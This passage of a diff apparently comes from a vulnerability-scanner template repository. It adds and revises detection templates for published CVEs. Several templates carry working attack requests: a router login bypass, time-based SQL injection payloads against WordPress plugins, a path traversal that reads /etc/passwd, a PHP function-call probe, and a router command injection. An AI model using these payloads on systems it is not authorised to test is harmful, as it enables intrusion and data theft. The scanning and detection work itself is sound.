+  severity: critical
+  description: |
+    In TOTOLINK EX1200T V4.1.2cu.5215, an attacker can bypass login by sending a specific request through formLoginAuth.htm.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/cve-2021-42887
+    - https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-42887
+    cwe-id: CWE-287
+  metadata:
+    shodan-query: title:"TOTOLINK"
+  tags: totolink,auth-bypass,cve,cve2021,router
+
+requests:
+  - raw:
+      - |
+        GET /login.htm HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_1
+        words:
+          - "TOTOLINK"
+
+      - type: word
+        part: header_2
+        words:
+          - "Set-Cookie: SESSION_ID="
+
+      - type: status
+        status:
+          - 302
@@ -1,11 +1,11 @@
 id: CVE-2021-43510

 info:
-  name: Simple Client Management System 1.0 - SQL Injection
+  name: Sourcecodester Simple Client Management System 1.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
-    SQL Injection vulnerability exists in Sourcecodester Simple Client Management System 1.0 via the username field in login.php.
+    Sourcecodester Simple Client Management System 1.0 contains a SQL injection vulnerability via the username field in login.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://github.com/r4hn1/Simple-Client-Management-System-Exploit/blob/main/CVE-2021-43510
    - https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
@@ -43,3 +43,5 @@ requests:
          - 'contains(body_1, "{\"status\":\"success\"}")'
          - 'contains(body_2, "Welcome to Simple Client")'
        condition: and
+
+# Enhanced by md on 2022/12/08
@@ -17,18 +17,22 @@ info:
  metadata:
    shodan-query: http.html:"kkFileView"
    verified: "true"
-  tags: cve,cve2021,kkfileview,traversal
+  tags: cve,cve2021,kkfileview,traversal,lfi

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/getCorsFile?urlPath=file:///etc/passwd"
+      - "{{BaseURL}}/getCorsFile?urlPath=file:///c://windows/win.ini"

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
-          - "root:[x*]:0:0"
+          - "root:.*:0:0:"
+          - "for 16-bit app support"
+        condition: or

      - type: status
        status:
@@ -1,11 +1,11 @@
 id: CVE-2022-0147

 info:
-  name: Cookie Information < 2.0.8 - Reflected Cross-Site Scripting
+  name: WordPress Cookie Information/Free GDPR Consent Solution <2.0.8 - Cross-Site Scripting
  author: 8arthur
  severity: medium
  description: |
-    The Cookie Information plugin does not escape user data before outputting it back in attributes in the admin dashboard, leading to a Reflected Cross-Site Scripting issue
+    WordPress Cookie Information/Free GDPR Consent Solution plugin prior to 2.0.8 contains a cross-site scripting vulnerability via the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://wpscan.com/vulnerability/2c735365-69c0-4652-b48e-c4a192dfe0d1
    - https://wordpress.org/plugins/wp-gdpr-compliance/
@@ -50,3 +50,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/08
@@ -1,11 +1,11 @@
 id: CVE-2022-0346

 info:
-  name: WordPress XML Sitemap Generator for Google <2.0.4 - Cross-Site Scripting
+  name: WordPress XML Sitemap Generator for Google <2.0.4 - Cross-Site Scripting/Remote Code Execution
  author: Akincibor,theamanrawat
  severity: medium
  description: |
-    WordPress XML Sitemap Generator for Google plugin before 2.0.4 contains a vulnerability that can lead to cross-site scripting or remote code execution. It does not validate a parameter which can be set to an arbitrary value, thus causing cross-site scripting via error message or remote code execution if allow_url_include is turned on.
+    WordPress XML Sitemap Generator for Google plugin before 2.0.4 contains a cross-site scripting vulnerability that can lead to remote code execution. It does not validate a parameter which can be set to an arbitrary value, thus causing cross-site scripting via error message or remote code execution if allow_url_include is turned on.
  reference:
    - https://wpscan.com/vulnerability/4b339390-d71a-44e0-8682-51a12bd2bfe6
    - https://wordpress.org/plugins/www-xml-sitemap-generator-org/
@@ -16,7 +16,7 @@ info:
    cve-id: CVE-2022-0346
    cwe-id: CWE-79
  metadata:
-    verified: true
+    verified: "true"
  tags: wpscan,cve,cve2022,wp,wordpress,wp-plugin,xss,www-xml-sitemap-generator-org

 requests:
@@ -39,3 +39,5 @@ requests:
        part: body_2
        words:
          - "2ef3baa95802a4b646f2fc29075efe34"
+
+# Enhanced by md on 2022/12/09
@@ -1,11 +1,11 @@
 id: CVE-2022-0349

 info:
-  name: NotificationX WordPress plugin < 2.3.9 - SQL Injection
+  name: WordPress NotificationX <2.3.9 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
-    The NotificationX WordPress plugin before 2.3.9 does not sanitise and escape the nx_id parameter before using it in a SQL statement, leading to an Unauthenticated Blind SQL Injection.
+    WordPress NotificationX plugin prior to 2.3.9 contains a SQL injection vulnerability. The plugin does not sanitize and escape the nx_id parameter before using it in a SQL statement, leading to an unauthenticated blind SQL injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://wpscan.com/vulnerability/1d0dd7be-29f3-4043-a9c6-67d02746463a
    - https://wordpress.org/plugins/notificationx/advanced/
@@ -36,3 +36,5 @@ requests:
          - 'status_code == 200'
          - 'contains(body, "\"data\":{\"success\":true}")'
        condition: and
+
+# Enhanced by md on 2022/12/09
@@ -1,11 +1,11 @@
 id: CVE-2022-0434

 info:
-  name: Page Views Count < 2.4.15 - Unauthenticated SQL Injection
+  name: WordPress Page Views Count <2.4.15 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    Unauthenticated SQL Injection in WordPress Page Views Count Plugin (versions < 2.4.15).
+    WordPress Page Views Count plugin prior to 2.4.15 contains an unauthenticated SQL injection vulnerability.  It does not sanitise and escape the post_ids parameter before using it in a SQL statement via a REST endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://wpscan.com/vulnerability/be895016-7365-4ce4-a54f-f36d0ef2d6f1
    - https://wordpress.org/plugins/page-views-count/
@@ -38,3 +38,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/09
@@ -1,11 +1,11 @@
 id: CVE-2022-0785

 info:
-  name: Daily Prayer Time < 2022.03.01 - Unauthenticated SQLi
+  name: WordPress Daily Prayer Time <2022.03.01 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    The Daily Prayer Time WordPress plugin before 2022.03.01 does not sanitise and escape the month parameter before using it in a SQL statement via the get_monthly_timetable AJAX action (available to unauthenticated users), leading to an unauthenticated SQL injection.
+    WordPress Daily Prayer Time plugin prior to 2022.03.01 contains a SQL injection vulnerability.. It does not sanitise and escape the month parameter before using it in a SQL statement via the get_monthly_timetable AJAX action, available to unauthenticated users, leading to SQL injection.
  reference:
    - https://wpscan.com/vulnerability/e1e09f56-89a4-4d6f-907b-3fb2cb825255
    - https://wordpress.org/plugins/daily-prayer-time-for-mosques/
@@ -34,3 +34,5 @@ requests:
          - 'contains(content_type, "text/html")'
          - 'contains(body, "dptTimetable customStyles dptUserStyles")'
        condition: and
+
+# Enhanced by md on 2022/12/09
@@ -0,0 +1,36 @@
+id: CVE-2022-0786
+
+info:
+  name: KiviCare < 2.3.9 - Unauthenticated SQLi
+  author: theamanrawat
+  severity: critical
+  description: |
+    The plugin does not sanitise and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route, leading to SQL Injections exploitable by unauthenticated users.
+  reference:
+    - https://wpscan.com/vulnerability/53f493e9-273b-4349-8a59-f2207e8f8f30
+    - https://wordpress.org/plugins/kivicare-clinic-management-system/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-0786
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-0786
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: wordpress,wp-plugin,wp,sqli,kivicare-clinic-management-system,unauth,cve,cve2022,wpscan
+
+requests:
+  - raw:
+      - |
+        @timeout: 10s
+        GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B"id":"1"%7D&props_doctor_id=1,2)+AND+(SELECT+42+FROM+(SELECT(SLEEP(6)))b HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "Doctor details")'
+        condition: and
@@ -1,11 +1,11 @@
 id: CVE-2022-0788

 info:
-  name: WP Fundraising Donation and Crowdfunding Platform < 1.5.0 - Unauthenticated SQLi
+  name: WordPress WP Fundraising Donation and Crowdfunding Platform <1.5.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    The WP Fundraising Donation and Crowdfunding Platform WordPress plugin before 1.5.0 does not sanitise and escape a parameter before using it in a SQL statement via one of it's REST route, leading to an SQL injection exploitable by unauthenticated users.
+    WordPress WP Fundraising Donation and Crowdfunding Platform plugin before 1.5.0 contains an unauthenticated SQL injection vulnerability. It does not sanitize and escape a parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://wpscan.com/vulnerability/fbc71710-123f-4c61-9796-a6a4fd354828
    - https://wordpress.org/plugins/wp-fundraising-donation/
@@ -37,3 +37,5 @@ requests:
          - 'contains(content_type, "application/json")'
          - 'contains(body, "Invalid payment.")'
        condition: and
+
+# Enhanced by md on 2022/12/09
@@ -1,11 +1,11 @@
 id: CVE-2022-0817

 info:
-  name: BadgeOS < 3.7.1 - Unauthenticated SQL Injection
+  name: WordPress BadgeOS <=3.7.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    The BadgeOS WordPress plugin through 3.7.0 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action, leading to an SQL Injection exploitable by unauthenticated users.
+    WordPress BadgeOS plugin through 3.7.0  contains a SQL injection vulnerability. It does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://wpscan.com/vulnerability/69263610-f454-4f27-80af-be523d25659e
    - https://wordpress.org/plugins/badgeos/
@@ -39,3 +39,5 @@ requests:
          - 'contains(content_type, "application/json")'
          - 'contains(body, "badgeos-arrange-buttons")'
        condition: and
+
+# Enhanced by md on 2022/12/09
@@ -0,0 +1,39 @@
+id: CVE-2022-0826
+
+info:
+  name: WP Video Gallery <= 1.7.1 - Unauthenticated SQLi
+  author: theamanrawat
+  severity: critical
+  description: |
+    The WP Video Gallery WordPress plugin through 1.7.1 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action, leading to an SQL Injection exploitable by unauthenticated users.
+  reference:
+    - https://wpscan.com/vulnerability/7a3eed3b-c643-4e24-b833-eba60ab631c5
+    - https://wordpress.org/plugins/wp-video-gallery-free/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-0826
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-0826
+    cwe-id: CWE-89
+  metadata:
+    verified: true
+  tags: cve2022,wp-plugin,wpscan,cve,wordpress,wp,sqli,wp-video-gallery-free,unauth
+
+requests:
+  - raw:
+      - |
+        @timeout: 15s
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        action=wp_video_gallery_ajax_add_single_youtube&url=http://example.com/?x%26v=1%2522 AND (SELECT 1780 FROM (SELECT(SLEEP(6)))uPaz)%2523
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "Registred videos :")'
+        condition: and
@@ -1,11 +1,11 @@
 id: CVE-2022-0867

 info:
-  name: ARPrice Lite < 3.6.1 - Unauthenticated SQLi
+  name: WordPress ARPrice <3.6.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    The Pricing Table WordPress plugin before 3.6.1 fails to properly sanitize and escape user supplied POST data before it is being interpolated in an SQL statement and then executed via an AJAX action available to unauthenticated users.
+    WordPress ARPrice plugin prior to 3.6.1 contains a SQL injection vulnerability. It fails to properly sanitize and escape user supplied POST data before being inserted in an SQL statement and executed via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://wpscan.com/vulnerability/62803aae-9896-410b-9398-3497a838e494
    - https://wordpress.org/plugins/arprice-responsive-pricing-table/
@@ -42,3 +42,5 @@ requests:
          - 'contains(content_type_1, "text/html")'
          - 'contains(body_2, "ArpPriceTable")'
        condition: and
+
+# Enhanced by md on 2022/12/09
@@ -0,0 +1,45 @@
+id: CVE-2022-0948
+
+info:
+  name: Order Listener for WooCommerce < 3.2.2 - Unauthenticated SQLi
+  author: theamanrawat
+  severity: critical
+  description: |
+    The Order Listener for WooCommerce WordPress plugin before 3.2.2 does not sanitise and escape the id parameter before using it in a SQL statement via a REST route available to unauthenticated users, leading to an SQL injection.
+  reference:
+    - https://wpscan.com/vulnerability/daad48df-6a25-493f-9d1d-17b897462576
+    - https://wordpress.org/plugins/woc-order-alert/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-0948
+    - https://plugins.trac.wordpress.org/changeset/2707223
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-0948
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve,wp,unauth,sqli,woc-order-alert,wpscan,cve2022,wordpress,wp-plugin
+
+requests:
+  - raw:
+      - |
+        @timeout: 15s
+        POST /?rest_route=/olistener/new HTTP/1.1
+        Host: {{Hostname}}
+        content-type: application/json
+
+        {"id":" (SLEEP(6))#"}
+
+      - |
+        GET /wp-content/plugins/woc-order-alert/assets/admin/js/scripts.js HTTP/1.1
+        Host: {{Hostname}}
+
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration_1>=6'
+          - 'status_code_1 == 200'
+          - 'contains(content_type_1, "application/json")'
+          - 'contains(body_2, "olistener-action.olistener-controller")'
+        condition: and
@@ -1,11 +1,11 @@
 id: CVE-2022-1007

 info:
-  name: Advanced Booking Calendar < 1.7.1 - Cross-Site Scripting
+  name: WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting
  author: 8arthur
  severity: medium
  description: |
-    The Advanced Booking Calendar WordPress plugin before 1.7.1 does not sanitise and escape the room parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue
+    WordPress Advanced Booking Calendar plugin before 1.7.1 contains a cross-site scripting vulnerability. It does not sanitize and escape the room parameter before outputting it back in an admin page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://wpscan.com/vulnerability/6f5b764b-d13b-4371-9cc5-91204d9d6358
    - https://wordpress.org/plugins/advanced-booking-calendar/
@@ -42,3 +42,5 @@ requests:
          - "contains(all_headers_2, 'text/html')"
          - "status_code_2 == 200"
        condition: and
+
+# Enhanced by md on 2022/12/09
@@ -1,11 +1,11 @@
 id: CVE-2022-1057

 info:
-  name: Pricing Deals for WooCommerce < 2.0.3 - Unauthenticated SQL Injection
+  name: WordPress Pricing Deals for WooCommerce <=2.0.2.02 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    The Pricing Deals for WooCommerce WordPress plugin through 2.0.2.02 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to an unauthenticated SQL injection.
+    WordPress Pricing Deals for WooCommerce plugin through 2.0.2.02 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://wpscan.com/vulnerability/7c33ffc3-84d1-4a0f-a837-794cdc3ad243
    - https://wordpress.org/plugins/pricing-deals-for-woocommerce/
@@ -33,3 +33,5 @@ requests:
          - 'status_code == 500'
          - 'contains(body, "been a critical error")'
        condition: and
+
+# Enhanced by md on 2022/12/09
@@ -0,0 +1,40 @@
+id: CVE-2022-1595
+
+info:
+  name: HC Custom WP-Admin URL - 1.4 - Unauthenticated Secret URL Disclosure
+  author: theamanrawat
+  severity: medium
+  description: |
+    The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request.
+  reference:
+    - https://wpscan.com/vulnerability/0218c90c-8f79-4f37-9a6f-60cf2f47d47b
+    - https://wordpress.org/plugins/hc-custom-wp-admin-url/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-1595
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cve-id: CVE-2022-1595
+    cwe-id: CWE-200
+  metadata:
+    verified: "true"
+  tags: wp-plugin,wp,hc-custom-wp-admin-url,unauth,wpscan,cve,cve2022,wordpress
+
+requests:
+  - raw:
+      - |
+        HEAD /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: valid_login_slug=1
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: header
+        regex:
+          - "Location: ([a-zA-Z0-9_.\\/-]+)"
+          - "wordpress_"
+        condition: and
+
+      - type: status
+        status:
+          - 302
@@ -1,16 +1,16 @@
 id: CVE-2022-1883

 info:
-  name: Terraboard < 2.2.0 - SQL Injection
+  name: Terraboard <2.2.0 - SQL Injection
  author: edoardottt
  severity: high
  description: |
-    SQL Injection in GitHub repository camptocamp/terraboard prior to 2.2.0.
+    Terraboard prior to 2.2.0 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://huntr.dev/bounties/a25d15bd-cd23-487e-85cd-587960f1b9e7/
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-1883
    - https://github.com/camptocamp/terraboard/commit/2a5dbaac015dc0714b41a59995e24f5767f89ddc
    - https://huntr.dev/bounties/a25d15bd-cd23-487e-85cd-587960f1b9e7
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-1883
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
@@ -41,3 +41,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/09
@@ -1,11 +1,11 @@
 id: CVE-2022-1916

 info:
-  name: Active Products Tables for WooCommerce < 1.0.5 - Cross Site Scripting
+  name: WordPress Active Products Tables for WooCommerce <1.0.5 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
-    The plugin does not sanitise and escape a parameter before outputting it back in the response of an AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected cross-Site Scripting.
+    WordPress Active Products Tables for WooCommerce plugin prior to 1.0.5 contains a cross-site scripting vulnerability.. The plugin does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://wpscan.com/vulnerability/d16a0c3d-4318-4ecd-9e65-fc4165af8808
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1916
@@ -44,3 +44,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/13
@@ -1,11 +1,11 @@
 id: CVE-2022-1933

 info:
-  name: CDI < 5.1.9 - Cross Site Scripting
+  name: WordPress CDI <5.1.9 - Cross Site Scripting
  author: Akincibor
  severity: medium
  description: |
-    The plugin does not sanitise and escape a parameter before outputting it back in the response of an AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting.
+    WordPress CDI plugin prior to 5.1.9 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the response of an AJAX action. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://wpscan.com/vulnerability/6cedb27f-6140-4cba-836f-63de98e521bf
    - https://wordpress.org/plugins/collect-and-deliver-interface-for-woocommerce/advanced/
@@ -41,3 +41,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/13
@@ -5,12 +5,12 @@ info:
  author: EvergreenCartoons
  severity: medium
  description: |
-    A Cross-site Scripting (XSS) vulnerability in the J-Web component of Juniper Networks Junos OS allows an unauthenticated attacker to run malicious scripts reflected off of J-Web to the victim's browser in the context of their session within J-Web
+    Juniper Web Device Manager (J-Web) in Junos OS contains a cross-site scripting vulnerability. This can allow an unauthenticated attacker to run malicious scripts reflected off J-Web to the victim's browser in the context of their session within J-Web, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue affects all versions prior to 19.1R3-S9; 19.2 versions prior to 19.2R3-S6; 19.3 versions prior to 19.3R3-S7; 19.4 versions prior to 19.4R2-S7, 19.4R3-S8; 20.1 versions prior to 20.1R3-S5; 20.2 versions prior to 20.2R3-S5; 20.3 versions prior to 20.3R3-S5; 20.4 versions prior to 20.4R3-S4; 21.1 versions prior to 21.1R3-S4; 21.2 versions prior to 21.2R3-S1; 21.3 versions prior to 21.3R3; 21.4 versions prior to 21.4R2; 22.1 versions prior to 22.1R2.
  reference:
    - https://octagon.net/blog/2022/10/28/juniper-sslvpn-junos-rce-and-multiple-vulnerabilities/
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-22242
    - https://supportportal.juniper.net/s/article/2022-10-Security-Bulletin-Junos-OS-Multiple-vulnerabilities-in-J-Web?language=en_US
    - https://kb.juniper.net/JSA69899
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-22242
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -43,3 +43,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/13
@@ -0,0 +1,48 @@
+id: CVE-2022-2314
+
+info:
+  name: VR Calendar < 2.3.2 - Unauthenticated Arbitrary Function Call
+  author: theamanrawat
+  severity: critical
+  description: |
+    The VR Calendar WordPress plugin through 2.3.2 lets any user execute arbitrary PHP functions on the site.
+  reference:
+    - https://wpscan.com/vulnerability/b22fe77c-844e-4c24-8023-014441cc1e82
+    - https://wordpress.org/plugins/vr-calendar-sync/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-2314
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-2314
+  metadata:
+    verified: "true"
+  tags: cve,cve2022,wordpress,wp,wp-plugin,rce,vr-calendar-sync,unauth,wpscan
+
+requests:
+  - raw:
+      - |
+        GET /wp-content/plugins/vr-calendar-sync/assets/js/public.js HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /wp-admin/admin-post.php?vrc_cmd=phpinfo HTTP/1.1
+        Host: {{Hostname}}
+
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - "phpinfo"
+          - "PHP Version"
+        condition: and
+
+      - type: word
+        part: body_1
+        words:
+          - "vrc-calendar"
+
+      - type: status
+        status:
+          - 200
@@ -10,11 +10,15 @@ info:
    - https://packetstormsecurity.com/files/cve/CVE-2022-23854
    - https://crisec.de/advisory-aveva-intouch-access-anywhere-secure-gateway-path-traversal
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23854
+    - https://www.cisa.gov/uscert/ics/advisories/icsa-22-342-02
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
    cve-id: CVE-2022-23854
+    cwe-id: CWE-23
  metadata:
-    verified: true
    shodan-query: http.html:"InTouch Access Anywhere"
+    verified: "true"
  tags: lfi,packetstorm,cve,cve2022,aveva,intouch

 requests:
@@ -3,15 +3,19 @@ id: CVE-2022-24990
 info:
  name: TerraMaster TOS < 4.2.30 Server Information Disclosure
  author: dwisiswant0
-  severity: medium
+  severity: high
  description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure.
  reference:
    - https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/
+    - https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=33732
+    - https://forum.terra-master.com/en/viewforum.php?f=28
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
    cve-id: CVE-2022-24990
  metadata:
    shodan-query: TerraMaster
-  tags: cve,cve2022,terramaster,exposure
+  tags: cve,cve2022,terramaster,exposure,kev

 requests:
  - method: GET
@@ -0,0 +1,50 @@
+id: CVE-2022-25082
+
+info:
+  name: TOTOLink - Unauthenticated Command Injection
+  author: gy741
+  severity: critical
+  description: |
+    TOTOLink A950RG V5.9c.4050_B20190424 and V4.1.2cu.5204_B20210112 were discovered to contain a command injection vulnerability in the Main function. This vulnerability allows attackers to execute arbitrary commands via the QUERY_STRING parameter.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/cve-2022-25082
+    - https://github.com/EPhaha/IOT_vuln/blob/main/TOTOLink/A950RG/README.md
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-25082
+    cwe-id: CWE-77
+  tags: totolink,cve,cve2022,router,unauth,rce,iot
+
+variables:
+  cmd: "`ls>../{{randstr}}`"
+
+requests:
+  - raw:
+      - |
+        GET /cgi-bin/downloadFlile.cgi?payload={{cmd}} HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /{{randstr}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - ".sh"
+          - ".cgi"
+        condition: and
+
+      - type: word
+        part: header_2
+        words:
+          - 'application/octet-stream'
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by mp on 2022/11/05
@@ -12,9 +12,12 @@ info:
    - https://patchstack.com/database/vulnerability/all-in-one-wp-migration/wordpress-all-in-one-wp-migration-plugin-7-62-unauthenticated-reflected-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2546
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 4.7
    cve-id: CVE-2022-2546
+    cwe-id: CWE-79
  metadata:
-    verified: true
+    verified: "true"
  tags: cve,all-in-one-wp-migration,authenticated,wpscan,cve2022,wordpress,wp-plugin,wp,xss

 requests:
@@ -1,16 +1,19 @@
 id: CVE-2022-26263

 info:
-  name: Yonyou u8 v13.0 - Cross Site Scripting
+  name: Yonyou U8 13.0 - Cross-Site Scripting
  author: edoardottt,theamanrawat
  severity: medium
  description: |
-    Yonyou u8 v13.0 was discovered to contain a DOM-based cross-site scripting (XSS) vulnerability via the component /u8sl/WebHelp.
+    Yonyou U8 13.0 contains a DOM-based cross-site scripting vulnerability via the component /u8sl/WebHelp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/s7safe/CVE/blob/main/CVE-2022-26263.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26263
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
    cve-id: CVE-2022-26263
+    cwe-id: CWE-80
  metadata:
    verified: true
    google-dork: inurl:/u8sl/WebHelp
@@ -29,3 +32,5 @@ headless:
          - '<frame src="javascript:console.log(document.domain)"'
          - 'webhelp4.js'
        condition: and
+
+# Enhanced by md on 2022/12/13
@@ -1,15 +1,15 @@
 id: CVE-2022-28290

 info:
-  name: Country Selector < 1.6.6 - Cross-Site Scripting
+  name: WordPress Country Selector <1.6.6 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
-    The plugin does not sanitise and escape the country and lang parameters before outputting them back in the response, leading to a Reflected Cross-Site Scripting.
+    WordPress Country Selector plugin prior to 1.6.6 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the country and lang parameters before outputting them back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-28290
    - https://cybersecurityworks.com/zerodays/cve-2022-28290-reflected-cross-site-scripting-in-welaunch.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-28290
  classification:
